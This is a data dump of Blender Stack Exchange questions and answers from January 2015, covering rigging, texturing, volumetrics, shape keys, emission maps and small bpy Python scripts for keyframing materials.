  <row Id="23864" PostTypeId="1" CreationDate="2015-01-27T16:50:11.873" Score="2" ViewCount="1073" Body="&lt;p&gt;I need the arms head and legs of my zombie model to vary in colors, so I have to keep them separate, but I need an armature, so I need more than one armature, meaning I'll have multiple animation strips. How do i Combine these or whats the easiest solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity has problems importing materials and it doesn't look good when i bend the arms if its all one armature.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorDisplayName="user7952" LastEditDate="2015-01-27T22:35:08.260" LastActivityDate="2015-01-27T22:35:08.260" Title="Combine animation actions into one?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;armature&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="17" ClosedDate="2015-01-27T18:45:02.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="23865" PostTypeId="1" AcceptedAnswerId="23902" CreationDate="2015-01-27T17:05:39.917" Score="9" ViewCount="1121" Body="&lt;p&gt;I have a video clip of a car driving by from left to right. My goal is to add a decal (mask) to the car door.  Right now I am painstakingly moving the mask via X and Y.&lt;/p&gt;&#xA;" OwnerUserId="10979" LastEditorDisplayName="user1853" LastEditDate="2015-01-28T06:10:08.487" LastActivityDate="2015-01-28T06:10:08.487" Title="Is it possible to take a mask clip and 'connect' it to a specific point on a moving object?" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23866" PostTypeId="1" CreationDate="2015-01-27T17:07:38.283" Score="5" ViewCount="664" Body="&lt;p&gt;Hey People how do they create this Trail Behind the Bullet in particular games where a slow motion effect is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=EdGHEN6FumU&quot;&gt;https://www.youtube.com/watch?v=EdGHEN6FumU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11256" LastActivityDate="2015-01-27T17:45:07.907" Title="Creating Bullet Trail in Cycles" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23867" PostTypeId="2" ParentId="23858" CreationDate="2015-01-27T17:11:09.150" Score="2" Body="&lt;p&gt;This problem appears to be caused by the Wireframe node not talking to the Bump node properly. After a bit of disscussion and help from others in the comments I developed this workaround by baking the wireframe output to a file and using the file to influence the Bump node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZoSen.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9603" LastActivityDate="2015-01-27T17:11:09.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23869" PostTypeId="1" CreationDate="2015-01-27T17:25:23.310" Score="2" ViewCount="234" Body="&lt;p&gt;I have created a new texture and assigned an image to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the UV mapping, and it looks fine to me.&#xA;However, when I render using Shift + Z, the body renders invisibly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody see what I might have done wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LRmxH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQ8rk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node. I hope I have captured the right settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zr7ji.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11252" LastEditorUserId="11252" LastEditDate="2015-01-27T18:28:44.537" LastActivityDate="2015-01-27T18:28:44.537" Title="Texture invisible" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23870" PostTypeId="1" AcceptedAnswerId="23881" CreationDate="2015-01-27T17:31:48.097" Score="5" ViewCount="3565" Body="&lt;p&gt;I've tried multiple times to get clouds into Blender. However, my scene has too many vertices for it to handle objects with multiple subdivision modifiers. I thought that, as an alternative, I could use a texture to tell Blender which parts of the volume were transparent and which parts had volumetric scattering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I plug my test shader into volume, I get a half transparent, half emission shader instead, though it works fine for the surface. I've tried using the Texture Coordinate node for the texture itself -- it did nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OwRoQ.png&quot; alt=&quot;Sorry about the extra stuff included. GIMP has weird exporting issues right now.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I read about 3D textures on &lt;a href=&quot;https://gamedev.stackexchange.com/questions/9668/what-are-3d-textures&quot;&gt;this thread&lt;/a&gt;. I tried to find about 3D textures in Blender, which was completely hopeless:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/18393/3d-volumetric-planetary-clouds-in-cycles&quot;&gt;3D Volumetric Planetary Clouds in Cycles?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14560/volumetric-gradient-based-on-density&quot;&gt;Volumetric gradient based on density?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/6450/is-it-possible-to-convert-a-procedural-texture-into-actual-geometry&quot;&gt;Is it possible to convert a procedural texture into actual geometry?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/18418/cycles-volume-rendering-3d-image-texture-ct-or-mr-dataset&quot;&gt;cycles volume rendering 3D image texture (CT or MR dataset)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/8601/creating-a-texture-and-normal-map-from-a-3d-model-scene&quot;&gt;Creating a texture and normal map from a 3D model / scene&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19436/3d-textures-from-flat-texture&quot;&gt;3d Textures from Flat texture&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question is: How can I tell Cycles to use textures as a factor for a Mix Node, or how can I generate a 3D texture from a 2D procedural ,and use that in Blender? (And sorry about the extra stuff included in the screenshot. GIMP has weird exporting issues right now.)&lt;/p&gt;&#xA;" OwnerUserId="5609" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-01-27T19:40:08.653" Title="Using 2D / 3D textures with volumetrics?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;volumetrics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23871" PostTypeId="2" ParentId="23866" CreationDate="2015-01-27T17:39:25.610" Score="4" Body="&lt;p&gt;Its created by vector-displacing pixels in post-production. The game engine does this with pixel shaders in post-production too.&lt;/p&gt;&#xA;&lt;p&gt;Check this its related: &lt;a href=&quot;https://blender.stackexchange.com/questions/18296/how-to-make-a-heat-distortion-effect&quot;&gt;How to make a heat distortion effect?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You just don't need a particle simulation for the trail but a single texture behind the bullet will do.&lt;/p&gt;&#xA;&lt;p&gt;This will create a spherical ball-like distorsion:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hBeo.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Smear it and adjust it in your favourite 2D application to create some water-like wave effect.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Red channel affects the X position&lt;/li&gt;&#xA;&lt;li&gt;Green channel affects the Y position&lt;/li&gt;&#xA;&lt;li&gt;Pixel value of 0.5 is no change, brighter is positive direction, darker is negative&lt;/li&gt;&#xA;&lt;li&gt;Leave blue channel black&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can also sculpt the effect on a plane and bake it into a normal map. Then erase the blue channel from that map.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-01-27T17:45:07.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23872" PostTypeId="1" CreationDate="2015-01-27T18:05:47.870" Score="4" ViewCount="2903" Body="&lt;p&gt;I am attempting to morph between a base shape and another version of that same shape, however the second version has a few more vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any scripts that could get around this? or a different method of morphing one shape into another?&lt;/p&gt;&#xA;" OwnerUserId="11258" LastActivityDate="2015-01-27T19:22:37.453" Title="Shape key morphing between two meshes with different vertices" Tags="&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23873" PostTypeId="1" CreationDate="2015-01-27T18:23:22.893" Score="1" ViewCount="554" Body="&lt;p&gt;My render shows a horizontal line distortion during playback. Increasing the render samples to 500 did not improve the quality at all. How can I make it smooth throughout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/gvei3ywwsh9zmsl/0001-0190.avi?dl=0&quot; rel=&quot;nofollow&quot;&gt;Animation&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/v8sehr7ffyvqkdz/simpleinto.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;Blend file&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="11054" LastEditorUserId="599" LastEditDate="2015-01-27T18:43:48.320" LastActivityDate="2015-01-27T18:43:48.320" Title="How do I fix distortion in Render?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23875" PostTypeId="2" ParentId="23873" CreationDate="2015-01-27T18:40:55.410" Score="1" Body="&lt;p&gt;It looks to me like a problem occurring during playback, it's not part of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The distortion is inconsistent between playbacks, and I've only seen it (sometimes) when using VLC. mplayer has no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is anything you can do, this looks like a problem with the program doing the decoding.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-27T18:40:55.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23876" PostTypeId="2" ParentId="23872" CreationDate="2015-01-27T18:41:43.270" Score="3" Body="&lt;p&gt;You could try the shrinkwrap modifier. Here I have two icospheres with different number of subdivisions. I add the shrinkwrap modifier to the one with more vertices and set the one with fewer vertices as the target and the mode set to Nearest surface point:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/x5QJn.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I click &lt;code&gt;Apply as shapekey&lt;/code&gt;, and here's the result:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LZHw2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wP5nA.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I experimented a little with the different modes of the modifier. Viewing the results in edit mode shows the difference.&lt;br&gt;&#xA;Nearest surface point:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8LiBO.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nearest vertex:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RchWr.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project mode has a multitude of options, so I'm not posting any pictures of it, as it would make this answer too long. Instead I quote &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Blender Wiki on the shrinkwrap modifier&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Projection&lt;br&gt;&#xA;  This will project vertices along a chosen axis until they touch the shrink target. Vertices that never touch the shrink target are left in their original position. This implies that, depending on the settings of this option and the relative positions of the two objects, the modified object might sometimes remain undeformed. This is not a bug; just “play” with the settings (especially the Negative/Positive ones), or move one of the objects around...&lt;br&gt;&#xA;  This method is the hardest to master, as it might sometimes give unexpected results...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-01-27T19:22:37.453" LastActivityDate="2015-01-27T19:22:37.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23877" PostTypeId="1" CreationDate="2015-01-27T19:11:59.450" Score="1" ViewCount="7381" Body="&lt;p&gt;The short version is I have an IK setup on my rig.  The legs work mostly okay, except for the knees. The knees will NOT bend to find a solution to the IK problem. The arms, set up in a similar way, will bend correctly at the elbows to find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I lift the foot pad goal up slightly, the knees will NOT bend. However, if I change the constraints on the knees and allow them to bend backwards, they WILL do that to solve the problem. They won't bend in the correct direction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought this might have something to do with the rotation of the bones, so I &lt;strong&gt;tried rolling them&lt;/strong&gt; with no luck. I &lt;strong&gt;tried adjusting the position of the knee pole&lt;/strong&gt;, but that didn't help either. I can't seem to figure out why the IK solver is so opposed to bending the knees to solve a problem. The issue happens on both legs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do &lt;strong&gt;have a small bend in the knees&lt;/strong&gt;, so the related issue (Similar issue: &lt;a href=&quot;https://blender.stackexchange.com/questions/18248/ik-rig-doesnt-bend-when-i-add-elbow-target-elbow-pole&quot;&gt;IK-rig doesn&amp;#39;t bend when I add elbow-target/elbow-pole&lt;/a&gt;) doesn't seem to apply.  I &lt;strong&gt;can't share the .blend file yet, but I'm working on getting permission&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've tried every permutation of rolling the bones, changing the pole angle, and knee bend limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Leg Setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/eQaHUNz.png&quot; alt=&quot;Let Setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Leg Setup with Axes Showing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/eQaHUNz.png&quot; alt=&quot;Leg Setup with Axes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution Not Found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jQFTLxC.png&quot; alt=&quot;Solution Not Found&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visible Constraints in the Knee:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/cjM8wWs.png&quot; alt=&quot;Constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relaxed Constraints and the Bad Solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fh0GXqr.png&quot; alt=&quot;Relaxed Constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Adding emphasis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Adding more images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I turn off the knee constraints, leaving only the pole bone, the hip twists backwards and the knee points away.  That might seem like the pole rotation is wrong, so I tried reversing it... (See next picture.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jl4Vi8L.png&quot; alt=&quot;No Constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I reverse the pole angle, the hip twists around 180 degrees to compensate.  The knee STILL bends backwards, but points towards the pole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/3E09zTX.png&quot; alt=&quot;Backwards Knee&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11260" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-11-10T04:44:19.687" Title="IK Solver Won't Bend Knees Except Backwards -- Rolling Bones Not Helping, Constraints Not Helping" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="15" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23878" PostTypeId="1" CreationDate="2015-01-27T19:16:21.630" Score="4" ViewCount="13018" Body="&lt;p&gt;Is there a way to save the texture of a mesh that was painted with the texture painter externally?  I'm trying to create a mountain for use in a game and, admittedly, my texturing skills are garbage unless I can just paint on the model (I'm more of a programmer).  I have a mountain with acceptable textures in Blender, but I need to save the painted texture externally for use in Unity.  Google hasn't turned up anything useful.&lt;/p&gt;&#xA;" OwnerUserId="1533" LastActivityDate="2015-01-28T16:13:06.477" Title="Saving texture painted material externally?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23881" PostTypeId="2" ParentId="23870" CreationDate="2015-01-27T19:40:08.653" Score="7" Body="&lt;p&gt;Sure you can use 2D/3D textures with volumetrics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All procedural cycles textures will be 3D and you can use them for example like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T4StZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can just project 2D textures on your mesh too, this is the same cube with some mask:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bY24Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-27T19:40:08.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23882" PostTypeId="1" AcceptedAnswerId="23889" CreationDate="2015-01-27T20:05:53.117" Score="3" ViewCount="2133" Body="&lt;p&gt;I'm modeling LED signs with different frequencies and duty cycles to animate flickering LEDs. It is impractical to manually set the color of LEDs at all the keyframes for each single LED, since I have more than 20 LEDs and they all have different frequencies &amp;amp; duty cycles. I think it will be so much easier to use Python script. Here is the description of the problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5RnhW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6320g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the pictures above as an example. I created an object and emission shader &quot;material 1&quot; manually. &quot;Material 1&quot; only applies to the circle in the middle of this object (as shown in (a)).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the color of material 1 to be red from frame 1 to frame 10. From frame 11 to 30, the color will be black(as shown in (b)). From frame 31 to 40, the color turns to red again, then black from frame 41 to 60. As you can see from the first picture, the same pattern happens over and over again and continues to the last frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if I could use Python script to simulate this instead of manually set keyframes for all the LEDs. Thank you all in advance for your responses.&lt;/p&gt;&#xA;" OwnerUserId="9842" LastActivityDate="2015-01-27T21:10:03.720" Title="How can I change the color of a material using Python script?" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23884" PostTypeId="1" CreationDate="2015-01-27T20:31:42.793" Score="4" ViewCount="2172" Body="&lt;p&gt;I'm rendering a scene from the Python interface, and I can't get the python API commands to work from a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Blender UI I would go to world-&gt;Surface-&gt;Use Nodes&#xA;and then adjust the surface color and strength to get the desired light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From python I run the following commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes['Scene'].render.engine = 'CYCLES'&#xA;bpy.data.worlds['World'].use_nodes = True&#xA;bpy.data.worlds['World'].node_tree.nodes['Background'].inputs[0].default_value[:3] = (1,1,1)&#xA;bpy.data.worlds['World'].node_tree.nodes['Background'].inputs[1].default_value = 2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I run these from the Blender Python console they change the values as expected.&#xA;But when running the commands from a script via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b my_scene.blend -P my_script.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These commands have no effect. Other commands (moving objects around etc) work from the same script.&lt;/p&gt;&#xA;" OwnerUserId="11261" LastEditorUserId="2952" LastEditDate="2015-12-06T07:32:49.233" LastActivityDate="2015-12-06T07:32:49.233" Title="Creating cycles background light (world lighting) from Python" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;light&gt;&lt;data-blocks&gt;&lt;world&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23885" PostTypeId="1" AcceptedAnswerId="23886" CreationDate="2015-01-27T20:40:09.950" Score="1" ViewCount="740" Body="&lt;p&gt;I have created a beast and I want it to have sharp teeth, but as long as I'm using subdivision surface modifier, the points are smooth. If I try it without the subsurf, they don't look like teeth at all and as long as it is one point, I can't add an aditional edge loop. So how do I get them sharp? &lt;/p&gt;&#xA;" OwnerUserId="9588" LastActivityDate="2015-01-27T20:54:07.610" Title="how to keep sharp points using subdivison surface" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23886" PostTypeId="2" ParentId="23885" CreationDate="2015-01-27T20:54:07.610" Score="1" Body="&lt;p&gt;This is how your tooth topology should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BN6gr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add more loops to the body of it to shape it differently as you want it.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-27T20:54:07.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23887" PostTypeId="1" AcceptedAnswerId="23901" CreationDate="2015-01-27T21:01:44.490" Score="4" ViewCount="9479" Body="&lt;p&gt;&lt;strong&gt;What I want:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to take a model that has an albedo/diffuse, normal, ao, specular, gloss maps, etc. and I also want to add an emission map that will cause specific parts of the model to glow based on the colors represented in my emission map. Basically I want to achieve what this person seems to be doing with no issues: &lt;a href=&quot;http://youtu.be/crMxJ6Ge1jE&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://youtu.be/crMxJ6Ge1jE&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I am getting:&lt;/strong&gt;&lt;br&gt;&#xA;The results that I get is that the emission map acts like a traditional stencil where whatever colors I paint on the emission map are cutout and whatever is underneath in the albedo/diffuse map shows up instead of what is on my emission map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have tried:&lt;/strong&gt;&lt;br&gt;&#xA;I took a cube, created a material and a texture slot and textured it with a blue color like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5h6LN.jpg&quot; alt=&quot;albedo cube&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then created an emission map (green dot painted on it) and assigned it to a new texture slot. Here you can see the two maps that I am using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K7QDx.jpg&quot; alt=&quot;albedo and emission maps&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several emission map setups as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Emission Map Setup #1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Influence (All defaults except):&lt;br&gt;&#xA;Color unchecked&lt;br&gt;&#xA;Emit checked with value of 1&lt;br&gt;&#xA;RGB to Intensity checked&lt;br&gt;&#xA;RGB 0,0,0 (Black)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMw3e.jpg&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Emission Map Setup #2 (tutorial method)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Influence (All defaults except):&lt;br&gt;&#xA;Blend mode set to Divide&lt;br&gt;&#xA;Negative checked  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial method didn't work at all. With no lighting, the cube was pure black with no emission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file (zipped)&lt;br&gt;&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/6647893/Forum_Help/EmissiveProblem.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/6647893/Forum_Help/EmissiveProblem.zip&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-01-28T07:08:11.797" LastActivityDate="2015-01-28T07:08:11.797" Title="How do I setup an emission map for blender internal?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23888" PostTypeId="2" ParentId="23878" CreationDate="2015-01-27T21:06:28.377" Score="6" Body="&lt;p&gt;Open the texture in the UV image editor. If you have multiple textures beside the one you want to save, click the little PNG icon and select the proper image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKZAs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the image, click &lt;strong&gt;Image*&lt;/strong&gt;&gt; &lt;strong&gt;Save As Image&lt;/strong&gt;.&#xA;You can also hit &lt;kbd&gt;F3&lt;/kbd&gt; while viewing the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mf0At.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will be asked to give a file location.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-01-28T16:13:06.477" LastActivityDate="2015-01-28T16:13:06.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23889" PostTypeId="2" ParentId="23882" CreationDate="2015-01-27T21:10:03.720" Score="3" Body="&lt;p&gt;This is related: &lt;a href=&quot;https://blender.stackexchange.com/questions/23436/control-cycles-material-nodes-and-material-properties-in-python/23446#23446&quot;&gt;Control Cycles material nodes and material properties in Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how you add an keyframe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;# get the material&#xA;mat = bpy.data.materials['Material_Name']&#xA;# get the nodes&#xA;nodes = mat.node_tree.nodes&#xA;# get some specific node:&#xA;# returns None if the node does not exist&#xA;emission = nodes.get(&quot;Emission&quot;)&#xA;# set strength to 0.8&#xA;emission.inputs[1].default_value = 0.8&#xA;# add keyframe to strength at frame 1&#xA;emission.inputs[1].keyframe_insert(&quot;default_value&quot;, frame=1)&#xA;# set strength to 0&#xA;emission.inputs[1].default_value = 0&#xA;# add keyframe to strength at frame 21&#xA;emission.inputs[1].keyframe_insert(&quot;default_value&quot;, frame=21)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the intensity will animate from 0.8 to 0 in 20 frames&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-01-27T21:10:03.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
